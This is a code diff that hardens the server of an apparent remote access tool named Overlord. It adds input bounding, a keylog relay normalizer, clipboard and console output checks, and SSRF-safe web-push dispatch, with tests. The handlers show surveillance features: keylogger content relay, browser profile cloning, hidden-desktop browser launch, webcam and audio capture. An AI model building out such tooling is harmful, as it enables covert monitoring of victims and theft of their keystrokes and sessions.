+function requireHttpsPushEndpoint(rawEndpoint: string): URL {
+ let endpoint: URL;
+ try {
+ endpoint = new URL(rawEndpoint);
+ } catch {
+ throw new Error("Invalid URL");
+ }
+ if (endpoint.protocol !== "https:") {
+ throw new Error("push endpoint must use HTTPS");
+ }
+ if (endpoint.username || endpoint.password) {
+ throw new Error("URLs with embedded credentials are not allowed");
+ }
+ return endpoint;
+}
+
+/**
+ * Send request details produced by web-push through the server's SSRF-safe
+ * transport. The transport validates and pins the resolved public address to
+ * the actual HTTPS socket, so a push endpoint cannot rebind between a DNS
+ * safety check and the connection.
+ */
+export async function dispatchGeneratedWebPushRequest(
+ details: GeneratedWebPushRequest,
+ request: PublicHttpRequest = fetchPublicHttpResponse,
+): Promise {
+ requireHttpsPushEndpoint(details.endpoint);
+
+ const headers = new Headers();
+ for (const [name, value] of Object.entries(details.headers)) {
+ headers.set(name, String(value));
+ }
+
+ return await request(details.endpoint, {
+ method: details.method,
+ headers,
+ body: details.body === null ? undefined : new Uint8Array(details.body),
+ });
+}
+
+export function webPushResultForStatus(statusCode: number): WebPushResult {
+ if (statusCode >= 200 && statusCode <= 299) {
+ return { success: true };
+ }
+ if (statusCode === 404 || statusCode === 410) {
+ return { success: false, gone: true, error: `subscription gone (${statusCode})` };
+ }
+ return { success: false, error: "Received unexpected response code" };
+}
+
export async function sendWebPush(
subscription: { endpoint: string; keys: { p256dh: string; auth: string } },
payload: string,
-): Promise<{ success: boolean; gone?: boolean; error?: string }> {
+): Promise {
+ try {
+ requireHttpsPushEndpoint(subscription.endpoint);
+ await validatePublicHttpUrl(subscription.endpoint);
+ } catch (err: any) {
+ return { success: false, error: err?.message || "invalid push endpoint" };
+ }
+
const keys = loadOrGenerateVapidKeys();
webpush.setVapidDetails("mailto:overlord@localhost", keys.publicKey, keys.privateKey);
try {
- await webpush.sendNotification(subscription, payload, { TTL: 60 * 60 });
- return { success: true };
+ const details = webpush.generateRequestDetails(subscription, payload, { TTL: 60 * 60 });
+ const response = await dispatchGeneratedWebPushRequest(details);
+ return webPushResultForStatus(response.status);
} catch (err: any) {
const statusCode = err?.statusCode;
if (statusCode === 404 || statusCode === 410) {
diff --git a/Overlord-Server/src/server/ws-audio-relay.test.ts b/Overlord-Server/src/server/ws-audio-relay.test.ts
new file mode 100644
index 0000000..1a44d86
--- /dev/null
+++ b/Overlord-Server/src/server/ws-audio-relay.test.ts
@@ -0,0 +1,58 @@
+import { afterEach, describe, expect, test } from "bun:test";
+import * as sessionManager from "../sessions/sessionManager";
+import { handleDesktopAudioUplink } from "./ws-desktop-audio";
+import { handleVoiceUplink } from "./ws-voice";
+
+const voiceSessionIds: string[] = [];
+const desktopAudioSessionIds: string[] = [];
+
+function mockViewer() {
+ const sent: unknown[] = [];
+ return {
+ sent,
+ socket: {
+ data: {},
+ getBufferedAmount: () => 0,
+ send: (value: unknown) => { sent.push(value); },
+ } as any,
+ };
+}
+
+afterEach(() => {
+ for (const id of voiceSessionIds.splice(0)) sessionManager.deleteVoiceSession(id);
+ for (const id of desktopAudioSessionIds.splice(0)) sessionManager.deleteDesktopAudioSession(id);
+});
+
+describe("legacy audio uplink routing", () => {
+ test("broadcasts voice data without a sessionId and preserves an exact subview", () => {
+ const clientId = `voice-relay-${Date.now().toString(36)}`;
+ const first = mockViewer();
+ const second = mockViewer();
+ for (const [id, viewer] of [["voice-a", first], ["voice-b", second]] as const) {
+ voiceSessionIds.push(id);
+ sessionManager.addVoiceSession({ id, clientId, viewer: viewer.socket, createdAt: Date.now() });
+ }
+
+ const backing = new Uint8Array([9, 1, 2, 3, 8]);
+ handleVoiceUplink(clientId, { data: new DataView(backing.buffer, 1, 3) });
+
+ expect(Array.from(first.sent[0] as Uint8Array)).toEqual([1, 2, 3]);
+ expect(Array.from(second.sent[0] as Uint8Array)).toEqual([1, 2, 3]);
+ });
+
+ test("broadcasts desktop audio without a sessionId but routes a supplied ID", () => {
+ const clientId = `desktop-audio-relay-${Date.now().toString(36)}`;
+ const first = mockViewer();
+ const second = mockViewer();
+ for (const [id, viewer] of [["audio-a", first], ["audio-b", second]] as const) {
+ desktopAudioSessionIds.push(id);
+ sessionManager.addDesktopAudioSession({ id, clientId, viewer: viewer.socket, createdAt: Date.now() });
+ }
+
+ handleDesktopAudioUplink(clientId, { data: new Uint8Array([1]) });
+ handleDesktopAudioUplink(clientId, { sessionId: "audio-a", data: new Uint8Array([2]) });
+
+ expect(first.sent.map((value) => Array.from(value as Uint8Array))).toEqual([[1], [2]]);
+ expect(second.sent.map((value) => Array.from(value as Uint8Array))).toEqual([[1]]);
+ });
+});
diff --git a/Overlord-Server/src/server/ws-console-rd-backstage.ts b/Overlord-Server/src/server/ws-console-rd-backstage.ts
index a0d1ca2..d48d2b5 100644
--- a/Overlord-Server/src/server/ws-console-rd-backstage.ts
+++ b/Overlord-Server/src/server/ws-console-rd-backstage.ts
@@ -55,6 +55,41 @@ const VIEWER_BACKPRESSURE_BYTES = Math.max(
Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024),
);
+export const MAX_BACKSTAGE_APPS = 10_000;
+export const MAX_BACKSTAGE_WINDOWS = 100_000;
+export const MAX_BACKSTAGE_MONITORS = 256;
+export const MAX_BACKSTAGE_ICON_CHARS_TOTAL = 256 * 1024 * 1024;
+export const MAX_CLIPBOARD_CONTENT_BYTES = 64 * 1024 * 1024;
+
+function boundedAgentText(value: unknown, maxLength: number): string {
+ if (typeof value !== "string") return "";
+ return value.slice(0, maxLength).replace(/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/g, "");
+}
+
+function boundedAgentLine(value: unknown, maxLength: number): string {
+ if (typeof value !== "string") return "";
+ return value
+ .slice(0, maxLength)
+ .replace(/[\x00-\x1F\x7F]+/g, " ")
+ .replace(/\s+/g, " ")
+ .trim();
+}
+
+function boundedAgentNumber(value: unknown, min = 0, max = Number.MAX_SAFE_INTEGER): number {
+ const parsed = typeof value === "bigint" ? Number(value) : Number(value);
+ if (!Number.isFinite(parsed)) return min;
+ return Math.min(max, Math.max(min, parsed));
+}
+
+function boundedAgentBytes(value: unknown, maxBytes: number): Uint8Array | null {
+ let bytes: Uint8Array;
+ if (value instanceof Uint8Array) bytes = value;
+ else if (value instanceof ArrayBuffer) bytes = new Uint8Array(value);
+ else if (ArrayBuffer.isView(value)) bytes = new Uint8Array(value.buffer, value.byteOffset, value.byteLength);
+ else return null;
+ return bytes.byteLength <= maxBytes ? bytes : null;
+}
+
type FrameBroadcastResult = {
sent: boolean;
dropped: boolean;
@@ -726,25 +761,25 @@ function sendP2PSignalingToViewer(session: P2PSession, msg: Record 0, devices);
for (const session of sessionManager.getWebcamSessionsForClient(clientId)) {
- safeSendViewer(session.viewer, { ...payload, devices });
+ safeSendViewer(session.viewer, {
+ type: "webcam_devices",
+ devices,
+ selected: Math.floor(boundedAgentNumber(payload?.selected, 0, 31)),
+ }, "webcam-devices");
}
}
export function handlebackstageCloneProgress(clientId: string, payload: unknown) {
const data = payload && typeof payload === "object" ? payload as Record : {};
- const browser = String(data.browser || "");
- const status = String(data.status || "");
+ const browser = boundedAgentLine(data.browser, 128);
+ const status = boundedAgentLine(data.status, 1_024);
if (status.startsWith("copying|") || status.startsWith("retrying|")) {
logger.debug(`[backstage] clone client=${clientId} browser=${browser} status=${status}`);
} else if (status.startsWith("failed|") || status.startsWith("skipped|") || status.startsWith("done_with_errors|")) {
@@ -904,9 +943,9 @@ export function handlebackstageCloneProgress(clientId: string, payload: unknown)
safeSendViewer(session.viewer, {
type: "backstage_clone_progress",
browser,
- percent: Number(data.percent) || 0,
- copiedBytes: Number(data.copiedBytes) || 0,
- totalBytes: Number(data.totalBytes) || 0,
+ percent: boundedAgentNumber(data.percent, 0, 100),
+ copiedBytes: boundedAgentNumber(data.copiedBytes),
+ totalBytes: boundedAgentNumber(data.totalBytes),
status,
});
}
@@ -916,8 +955,8 @@ export function handlebackstageLookupResult(clientId: string, payload: any) {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "backstage_lookup_result",
- exe: String(payload.exe || ""),
- path: String(payload.path || ""),
+ exe: boundedAgentText(payload?.exe, 512),
+ path: boundedAgentText(payload?.path, 4_096),
done: !!payload.done,
});
}
@@ -926,8 +965,9 @@ export function handlebackstageLookupResult(clientId: string, payload: any) {
export function handlebackstageBrowserCheckResult(clientId: string, payload: any) {
const browsers: Record = {};
if (payload.browsers && typeof payload.browsers === "object") {
- for (const [key, val] of Object.entries(payload.browsers)) {
- browsers[key] = !!val;
+ for (const [key, val] of Object.entries(payload.browsers).slice(0, 64)) {
+ const safeKey = boundedAgentText(key, 64);
+ if (safeKey) browsers[safeKey] = !!val;
}
}
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
@@ -940,12 +980,16 @@ export function handlebackstageBrowserCheckResult(clientId: string, payload: any
export function handlebackstageInstalledAppsResult(clientId: string, payload: any) {
const apps: Array<{ name: string; exePath: string; icon: string }> = [];
+ let iconChars = 0;
if (Array.isArray(payload.apps)) {
- for (const app of payload.apps) {
+ for (const app of payload.apps.slice(0, MAX_BACKSTAGE_APPS)) {
+ const rawIcon = boundedAgentText(app?.icon, 256 * 1024);
+ const icon = iconChars + rawIcon.length <= MAX_BACKSTAGE_ICON_CHARS_TOTAL ? rawIcon : "";
+ iconChars += icon.length;
apps.push({
- name: String(app.name || ""),
- exePath: String(app.exePath || ""),
- icon: String(app.icon || ""),
+ name: boundedAgentText(app?.name, 256),
+ exePath: boundedAgentText(app?.exePath, 4_096),
+ icon,
});
}
}
@@ -964,7 +1008,7 @@ export function handlebackstageDXGIStatus(clientId: string, payload: any) {
type: "backstage_dxgi_status",
success: !!payload.success,
gpuPid: Number(payload.gpuPid) || 0,
- message: String(payload.message || ""),
+ message: boundedAgentText(payload?.message, 2_048),
});
}
}
@@ -973,10 +1017,10 @@ export function handlebackstageBrowserLaunchStatus(clientId: string, payload: an
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, {
type: "backstage_browser_launch_status",
- browser: String(payload.browser || ""),
- step: String(payload.step || ""),
+ browser: boundedAgentText(payload?.browser, 128),
+ step: boundedAgentText(payload?.step, 128),
success: !!payload.success,
- detail: String(payload.detail || ""),
+ detail: boundedAgentText(payload?.detail, 2_048),
});
}
}
@@ -987,15 +1031,15 @@ export function handlebackstageWindowListResult(clientId: string, payload: any)
pid: number; processName: string; monitor: number;
}> = [];
if (Array.isArray(payload.windows)) {
- for (const w of payload.windows) {
+ for (const w of payload.windows.slice(0, MAX_BACKSTAGE_WINDOWS)) {
windows.push({
- title: String(w.title || ""),
+ title: boundedAgentText(w?.title, 512),
x: Number(w.x) || 0,
y: Number(w.y) || 0,
width: Number(w.width) || 0,
height: Number(w.height) || 0,
pid: Number(w.pid) || 0,
- processName: String(w.processName || ""),
+ processName: boundedAgentText(w?.processName, 256),
monitor: Number(w.monitor ?? -1),
});
}
@@ -1005,10 +1049,10 @@ export function handlebackstageWindowListResult(clientId: string, payload: any)
width: number; height: number; primary: boolean;
}> = [];
if (Array.isArray(payload.monitors)) {
- for (const m of payload.monitors) {
+ for (const m of payload.monitors.slice(0, MAX_BACKSTAGE_MONITORS)) {
monitors.push({
index: Number(m.index) || 0,
- name: String(m.name || ""),
+ name: boundedAgentText(m?.name, 256),
x: Number(m.x) || 0,
y: Number(m.y) || 0,
width: Number(m.width) || 0,
@@ -1023,9 +1067,14 @@ export function handlebackstageWindowListResult(clientId: string, payload: any)
}
export function handleClipboardContent(clientId: string, payload: any) {
- const text = String(payload.text || "");
- const source = String(payload.source || "");
- if (!text) return;
+ const text = typeof payload?.text === "string" ? payload.text : "";
+ const source = boundedAgentText(payload?.source, 32);
+ if (
+ !text
+ || (source !== "rd" && source !== "backstage")
+ || text.length > MAX_CLIPBOARD_CONTENT_BYTES
+ || Buffer.byteLength(text, "utf8") > MAX_CLIPBOARD_CONTENT_BYTES
+ ) return;
if (source === "backstage") {
for (const session of sessionManager.getbackstageSessionsForClient(clientId)) {
safeSendViewer(session.viewer, { type: "clipboard_content", text, source });
@@ -1474,12 +1523,40 @@ export function sendbackstageCommand(target: ClientInfo | undefined, commandType
export function handleDesktopEncoderCapabilities(clientId: string, payload: any) {
const encoderCodecs = Array.isArray(payload?.codecs) && payload.codecs.length > 0
- ? payload.codecs
+ ? payload.codecs.slice(0, 16).flatMap((entry: any) => {
+ const codec = boundedAgentText(entry?.codec, 32).toLowerCase();
+ if (!codec) return [];
+ return [{
+ codec,
+ encoders: Array.isArray(entry?.encoders)
+ ? entry.encoders.slice(0, 16).map((value: unknown) => boundedAgentText(value, 64)).filter(Boolean)
+ : [],
+ transports: Array.isArray(entry?.transports)
+ ? entry.transports.slice(0, 8).map((value: unknown) => boundedAgentText(value, 32)).filter(Boolean)
+ : [],
+ hardware: entry?.hardware === true,
+ }];
+ })
: [
{ codec: "h264", transports: ["websocket", "webrtc"] },
{ codec: "jpeg", transports: ["websocket"] },
{ codec: "raw", transports: ["websocket"] },
];
+ const profiles = Array.isArray(payload?.profiles)
+ ? payload.profiles.slice(0, 32).flatMap((entry: any) => {
+ if (!entry || typeof entry !== "object") return [];
+ return [{
+ maxHeight: Math.floor(boundedAgentNumber(entry.maxHeight, 0, 16_384)),
+ width: Math.floor(boundedAgentNumber(entry.width, 0, 16_384)),
+ height: Math.floor(boundedAgentNumber(entry.height, 0, 16_384)),
+ fps: Math.floor(boundedAgentNumber(entry.fps, 0, 240)),
+ label: boundedAgentText(entry.label, 128),
+ providers: Array.isArray(entry.providers)
+ ? entry.providers.slice(0, 16).map((value: unknown) => boundedAgentText(value, 64)).filter(Boolean)
+ : [],
+ }];
+ })
+ : [];
const sessions = sessionManager.getRdSessionsForClient(clientId);
const negotiations = sessions.map((session) => negotiateDesktopCodec({
encoderCodecs,
@@ -1503,8 +1580,13 @@ export function handleDesktopEncoderCapabilities(clientId: string, payload: any)
};
session.viewer.data.rdSelectedCodec = selectedCodec;
safeSendViewer(session.viewer, {
- ...payload,
+ type: "desktop_encoder_capabilities",
+ commandId: boundedAgentText(payload?.commandId, 128),
+ probed: payload?.probed === true,
+ display: Math.floor(boundedAgentNumber(payload?.display, 0, 31)),
+ profiles,
codecs: encoderCodecs,
+ detail: boundedAgentText(payload?.detail, 2_048),
negotiation,
selectedCodec,
fallbackCodecs: sharedFallbackCodecs,
@@ -1562,7 +1644,7 @@ export function handleDesktopStreamStats(clientId: string, payload: any) {
const stats = {
type: "desktop_stream_stats",
fps: Math.max(0, Number(payload?.fps) || 0),
- format: String(payload?.format || ""),
+ format: boundedAgentText(payload?.format, 32),
bytes: Math.max(0, Number(payload?.bytes) || 0),
width: Math.max(0, Number(payload?.width) || 0),
height: Math.max(0, Number(payload?.height) || 0),
@@ -1570,7 +1652,7 @@ export function handleDesktopStreamStats(clientId: string, payload: any) {
encodeMs: Math.max(0, Number(payload?.encodeMs) || 0),
sendMs: Math.max(0, Number(payload?.sendMs) || 0),
totalMs: Math.max(0, Number(payload?.totalMs) || 0),
- transport: String(payload?.transport || ""),
+ transport: boundedAgentText(payload?.transport, 32),
};
for (const session of sessionManager.getRdSessionsForClient(clientId)) {
safeSendViewer(session.viewer, stats, "rd-stats");
@@ -1649,20 +1731,27 @@ export function handleConsoleViewerMessage(ws: ServerWebSocket, raw:
}
export function handleConsoleOutput(clientId: string, payload: any) {
- const sessionId = payload.sessionId as string;
+ const sessionId = boundedAgentText(payload?.sessionId, 128);
if (!sessionId) return;
const session = sessionManager.getConsoleSession(sessionId);
if (!session) return;
if (session.clientId !== clientId) return;
+ const data = payload?.data === undefined || payload?.data === null
+ ? null
+ : boundedAgentBytes(payload.data, 64 * 1024);
+ if (payload?.data !== undefined && payload?.data !== null && !data) return;
+ const error = boundedAgentText(payload?.error, 2_048);
safeSendViewer(session.viewer, {
type: "output",
sessionId,
- data: payload.data ?? null,
- exitCode: payload.exitCode,
- error: payload.error,
+ data,
+ ...(payload?.exitCode !== undefined
+ ? { exitCode: Math.floor(boundedAgentNumber(payload.exitCode, -2_147_483_648, 2_147_483_647)) }
+ : {}),
+ ...(error ? { error } : {}),
});
- if (payload.exitCode !== undefined || payload.error) {
- const reason = payload.error ? payload.error : `Process exited (${payload.exitCode ?? ""})`;
+ if (payload?.exitCode !== undefined || error) {
+ const reason = error || `Process exited (${payload.exitCode ?? ""})`;
safeSendViewer(session.viewer, { type: "status", status: "closed", reason, sessionId });
sessionManager.deleteConsoleSession(sessionId);
}
diff --git a/Overlord-Server/src/server/ws-desktop-audio.ts b/Overlord-Server/src/server/ws-desktop-audio.ts
index 667c39c..b49d48b 100644
--- a/Overlord-Server/src/server/ws-desktop-audio.ts
+++ b/Overlord-Server/src/server/ws-desktop-audio.ts
@@ -15,6 +15,7 @@ import {
import {
cleanupViewerP2P,
} from "./ws-console-rd-backstage";
+import { safeSendViewerBytes } from "./ws-viewer-utils";
function sendDesktopAudioCommand(
clientId: string,
@@ -153,22 +154,20 @@ export function handleDesktopAudioViewerMessage(ws: ServerWebSocket,
}
export function handleDesktopAudioUplink(clientId: string, payload: any) {
+ if (typeof payload?.sessionId === "string" && payload.sessionId.length > 128) return;
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
const bytes = payload?.data instanceof Uint8Array
? payload.data
: payload?.data instanceof ArrayBuffer
? new Uint8Array(payload.data)
: ArrayBuffer.isView(payload?.data)
- ? new Uint8Array(payload.data.buffer)
+ ? new Uint8Array(payload.data.buffer, payload.data.byteOffset, payload.data.byteLength)
: null;
if (!bytes || bytes.byteLength === 0) return;
for (const session of sessionManager.getDesktopAudioSessionsByClient(clientId)) {
if (sessionId && session.id !== sessionId) continue;
- try {
- session.viewer.send(bytes);
- } catch {
- }
+ safeSendViewerBytes(session.viewer, bytes, undefined, "desktop-audio");
}
}
diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.test.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.test.ts
index b3f217a..aaf2171 100644
--- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.test.ts
+++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.test.ts
@@ -1,5 +1,13 @@
import { describe, expect, test } from "bun:test";
-import { handleFileBrowserMessage } from "./ws-file-process-proxy-keylogger";
+import {
+ handleFileBrowserMessage,
+ MAX_FILE_LIST_ENTRIES,
+ MAX_KEYLOG_CONTENT_BYTES,
+ MAX_PROCESS_ICON_ITEMS,
+ normalizeFileBrowserAgentMessage,
+ normalizeKeyloggerAgentMessage,
+ normalizeProcessAgentMessage,
+} from "./ws-file-process-proxy-keylogger";
describe("file browser agent download routing", () => {
test("only consumes pending HTTP downloads for the matching client", () => {
@@ -30,3 +38,45 @@ describe("file browser agent download routing", () => {
expect(consumed).toBe(0);
});
});
+
+describe("agent result relay normalization", () => {
+ test("bounds file lists and removes unrecognized attacker fields", () => {
+ const normalized = normalizeFileBrowserAgentMessage({
+ type: "file_list_result",
+ commandId: "command",
+ path: "/tmp",
+ junk: "not relayed",
+ entries: Array.from({ length: MAX_FILE_LIST_ENTRIES + 5 }, (_, index) => ({
+ name: `file-${index}`,
+ path: `/tmp/file-${index}`,
+ size: index,
+ })),
+ }) as any;
+
+ expect(normalized.entries).toHaveLength(MAX_FILE_LIST_ENTRIES);
+ expect(normalized.junk).toBeUndefined();
+ });
+
+ test("strictly rejects scalar process icon data and caps item counts", () => {
+ const normalized = normalizeProcessAgentMessage({
+ type: "process_icon_result",
+ junk: "not relayed",
+ icons: Array.from({ length: MAX_PROCESS_ICON_ITEMS + 5 }, (_, index) => ({
+ key: `icon-${index}`,
+ png: index === 0 ? 0xffff_ffff : new Uint8Array([index]),
+ })),
+ }) as any;
+
+ expect(normalized.icons).toHaveLength(MAX_PROCESS_ICON_ITEMS);
+ expect(normalized.icons[0].png).toBeUndefined();
+ expect(normalized.junk).toBeUndefined();
+ });
+
+ test("drops oversized keylog content before viewer fan-out", () => {
+ expect(normalizeKeyloggerAgentMessage({
+ type: "keylog_file_content",
+ filename: "today.log",
+ content: "x".repeat(MAX_KEYLOG_CONTENT_BYTES + 1),
+ })).toBeNull();
+ });
+});
diff --git a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts
index 1796df9..710441d 100644
--- a/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts
+++ b/Overlord-Server/src/server/ws-file-process-proxy-keylogger.ts
@@ -31,6 +31,288 @@ function boundedBytes(value: unknown, maxBytes: number): Uint8Array | null {
return bytes.byteLength <= maxBytes ? bytes : null;
}
+export const MAX_FILE_LIST_ENTRIES = 100_000;
+export const MAX_PROCESS_LIST_ENTRIES = 100_000;
+export const MAX_PROCESS_ICON_ITEMS = 32;
+export const MAX_PROCESS_ICON_BYTES = 256 * 1024;
+export const MAX_KEYLOG_FILE_ITEMS = 1_000;
+export const MAX_KEYLOG_CONTENT_BYTES = 64 * 1024 * 1024;
+
+function boundedText(value: unknown, maxLength: number): string {
+ if (typeof value !== "string") return "";
+ return value.slice(0, maxLength).replace(/[\x00-\x1F\x7F]/g, "");
+}
+
+function boundedUtf8Text(value: unknown, maxBytes: number): string | null {
+ if (typeof value !== "string") return null;
+ if (value.length > maxBytes || Buffer.byteLength(value, "utf8") > maxBytes) return null;
+ return value;
+}
+
+function boundedNumber(value: unknown, min = 0, max = Number.MAX_SAFE_INTEGER): number {
+ const parsed = typeof value === "bigint" ? Number(value) : Number(value);
+ if (!Number.isFinite(parsed)) return min;
+ return Math.min(max, Math.max(min, parsed));
+}
+
+function relayCommandId(value: unknown): string | undefined {
+ const commandId = boundedText(value, 128);
+ return commandId || undefined;
+}
+
+function relayPath(value: unknown, allowEmpty = true): string {
+ return isSafeFileBrowserPath(value, allowEmpty) ? value : "";
+}
+
+function baseAgentResult(type: string, payload: any): Record {
+ const commandId = relayCommandId(payload?.commandId);
+ const pathValue = relayPath(payload?.path);
+ const error = boundedText(payload?.error, 2_048);
+ return {
+ type,
+ ...(commandId ? { commandId } : {}),
+ ...(pathValue ? { path: pathValue } : {}),
+ ...(error ? { error } : {}),
+ };
+}
+
+export function normalizeFileBrowserAgentMessage(payload: any): Record | null {
+ const type = typeof payload?.type === "string" ? payload.type : "";
+ if (!type) return null;
+ const base = baseAgentResult(type, payload);
+
+ switch (type) {
+ case "file_list_result": {
+ const entries = Array.isArray(payload.entries)
+ ? payload.entries.slice(0, MAX_FILE_LIST_ENTRIES).flatMap((entry: any) => {
+ if (!entry || !isSafeFileBrowserPath(entry.path)) return [];
+ const name = boundedText(entry.name, 512);
+ if (!name) return [];
+ return [{
+ name,
+ path: entry.path,
+ isDir: entry.isDir === true,
+ size: boundedNumber(entry.size),
+ modTime: boundedNumber(entry.modTime),
+ mode: boundedText(entry.mode, 64),
+ owner: boundedText(entry.owner, 128),
+ group: boundedText(entry.group, 128),
+ attrs: Math.floor(boundedNumber(entry.attrs, 0, 0xffff_ffff)),
+ freeBytes: boundedNumber(entry.freeBytes),
+ totalBytes: boundedNumber(entry.totalBytes),
+ fsType: boundedText(entry.fsType, 64),
+ }];
+ })
+ : [];
+ return {
+ ...base,
+ path: relayPath(payload.path),
+ entries,
+ accessDenied: payload.accessDenied === true,
+ canRequestAccess: payload.canRequestAccess === true,
+ accessHelp: boundedText(payload.accessHelp, 1_024),
+ };
+ }
+ case "file_download": {
+ const data = boundedBytes(payload.data, 4 * 1024 * 1024);
+ if (payload.data && !data) {
+ return { ...base, error: "Download chunk exceeded limit" };
+ }
+ return {
+ ...base,
+ ...(data ? { data } : {}),
+ offset: boundedNumber(payload.offset),
+ total: boundedNumber(payload.total),
+ chunkIndex: Math.floor(boundedNumber(payload.chunkIndex, 0, 1_000_000)),
+ chunksTotal: Math.floor(boundedNumber(payload.chunksTotal, 0, 1_000_000)),
+ };
+ }
+ case "file_upload_result":
+ return {
+ ...base,
+ transferId: boundedText(payload.transferId, 128),
+ ok: payload.ok === true,
+ offset: boundedNumber(payload.offset),
+ size: boundedNumber(payload.size),
+ received: boundedNumber(payload.received),
+ total: boundedNumber(payload.total),
+ };
+ case "file_read_result": {
+ const content = boundedUtf8Text(payload.content, FILE_BROWSER_MAX_READ_BYTES);
+ if (typeof payload.content === "string" && content === null) {
+ return { ...base, error: "File content exceeded editor limit" };
+ }
+ return { ...base, content: content || "", isBinary: payload.isBinary === true };
+ }
+ case "file_search_result": {
+ const results = Array.isArray(payload.results)
+ ? payload.results.slice(0, 500).flatMap((result: any) => {
+ if (!result || !isSafeFileBrowserPath(result.path)) return [];
+ const line = Math.floor(boundedNumber(result.line, 0, 10_000_000));
+ return [{
+ path: result.path,
+ ...(line > 0 ? { line } : {}),
+ match: boundedText(result.match, 4_096),
+ }];
+ })
+ : [];
+ return {
+ ...base,
+ searchId: boundedText(payload.searchId, 128),
+ results,
+ complete: payload.complete === true,
+ };
+ }
+ case "file_icon_result": {
+ const icons = Array.isArray(payload.icons)
+ ? payload.icons.slice(0, FILE_BROWSER_MAX_ICON_ITEMS).flatMap((item: any) => {
+ const key = boundedText(item?.key, 4_224);
+ if (!key) return [];
+ const png = boundedBytes(item?.png, 512 * 1024);
+ return [{ key, ...(png ? { png } : {}), error: boundedText(item?.error, 512) }];
+ })
+ : [];
+ return { ...base, icons };
+ }
+ case "file_thumb_result": {
+ const thumbs = Array.isArray(payload.thumbs)
+ ? payload.thumbs.slice(0, FILE_BROWSER_MAX_THUMB_ITEMS).flatMap((item: any) => {
+ const key = boundedText(item?.key, 4_224);
+ if (!key) return [];
+ const jpeg = boundedBytes(item?.jpeg, 1024 * 1024);
+ return [{
+ key,
+ ...(jpeg ? { jpeg } : {}),
+ w: Math.floor(boundedNumber(item?.w, 0, 512)),
+ h: Math.floor(boundedNumber(item?.h, 0, 512)),
+ error: boundedText(item?.error, 512),
+ }];
+ })
+ : [];
+ return { ...base, thumbs };
+ }
+ case "file_peek_result": {
+ const data = boundedBytes(payload.data, 4_096);
+ if (payload.data && !data) return { ...base, error: "Preview data exceeded limit" };
+ return {
+ ...base,
+ ...(data ? { data } : {}),
+ size: boundedNumber(payload.size),
+ isText: payload.isText === true,
+ };
+ }
+ case "file_dirsize_result":
+ return {
+ ...base,
+ bytes: boundedNumber(payload.bytes),
+ files: boundedNumber(payload.files),
+ dirs: boundedNumber(payload.dirs),
+ done: payload.done === true,
+ };
+ case "file_hash_result":
+ return {
+ ...base,
+ algorithm: boundedText(payload.algorithm, 32),
+ digest: boundedText(payload.digest, 512),
+ size: boundedNumber(payload.size),
+ };
+ case "command_result":
+ case "command_progress":
+ return {
+ ...base,
+ ok: payload.ok === true,
+ message: boundedText(payload.message, 4_096),
+ };
+ default:
+ return null;
+ }
+}
+
+export function normalizeProcessAgentMessage(payload: any): Record | null {
+ const type = typeof payload?.type === "string" ? payload.type : "";
+ const commandId = relayCommandId(payload?.commandId);
+ const base = { type, ...(commandId ? { commandId } : {}) };
+ if (type === "process_list_result") {
+ const processes = Array.isArray(payload.processes)
+ ? payload.processes.slice(0, MAX_PROCESS_LIST_ENTRIES).flatMap((process: any) => {
+ if (!process || typeof process !== "object") return [];
+ return [{
+ pid: Math.floor(boundedNumber(process.pid, 0, 0xffff_ffff)),
+ ppid: Math.floor(boundedNumber(process.ppid, 0, 0xffff_ffff)),
+ name: boundedText(process.name, 256),
+ exePath: boundedText(process.exePath, 4_096),
+ cpu: boundedNumber(process.cpu, 0, 100_000),
+ memory: boundedNumber(process.memory),
+ username: boundedText(process.username, 256),
+ type: boundedText(process.type, 64),
+ self: process.self === true,
+ }];
+ })
+ : [];
+ return { ...base, processes, error: boundedText(payload.error, 2_048) };
+ }
+ if (type === "process_icon_result") {
+ const icons = Array.isArray(payload.icons)
+ ? payload.icons.slice(0, MAX_PROCESS_ICON_ITEMS).flatMap((item: any) => {
+ const key = boundedText(item?.key, 4_224);
+ if (!key) return [];
+ const png = boundedBytes(item?.png, MAX_PROCESS_ICON_BYTES);
+ return [{ key, ...(png ? { png } : {}), error: boundedText(item?.error, 512) }];
+ })
+ : [];
+ return { ...base, icons };
+ }
+ return null;
+}
+
+export function normalizeKeyloggerAgentMessage(payload: any): Record | null {
+ const type = typeof payload?.type === "string" ? payload.type : "";
+ switch (type) {
+ case "keylog_file_list": {
+ const files = Array.isArray(payload.files)
+ ? payload.files.slice(0, MAX_KEYLOG_FILE_ITEMS).flatMap((file: any) => {
+ const name = boundedText(file?.name, 255);
+ if (!name || name === "." || name === ".." || name.includes("/") || name.includes("\\")) return [];
+ return [{
+ name,
+ size: boundedNumber(file?.size),
+ date: boundedText(file?.date, 64),
+ }];
+ })
+ : [];
+ return { type, files };
+ }
+ case "keylog_file_content": {
+ const filename = boundedText(payload.filename, 255);
+ const content = boundedUtf8Text(payload.content, MAX_KEYLOG_CONTENT_BYTES);
+ if (
+ !filename
+ || filename === "."
+ || filename === ".."
+ || filename.includes("/")
+ || filename.includes("\\")
+ || content === null
+ ) return null;
+ return { type, filename, content };
+ }
+ case "keylog_clear_result":
+ case "keylog_delete_result":
+ case "keylog_permission_result":
+ return {
+ type,
+ ...(relayCommandId(payload.commandId) ? { commandId: relayCommandId(payload.commandId) } : {}),
+ ok: payload.ok === true,
+ filename: boundedText(payload.filename, 255),
+ error: boundedText(payload.error, 2_048),
+ message: boundedText(payload.message, 2_048),
+ reason: boundedText(payload.reason, 128),
+ granted: payload.granted === true,
+ };
+ default:
+ return null;
+ }
+}
+
type FileBrowserViewer = {
id: string;
clientId: string;
@@ -445,6 +727,8 @@ export function handleFileBrowserMessage(clientId: string, payload: any, deps: W
return;
}
const ownerSessionId = commandOwner?.sessionId;
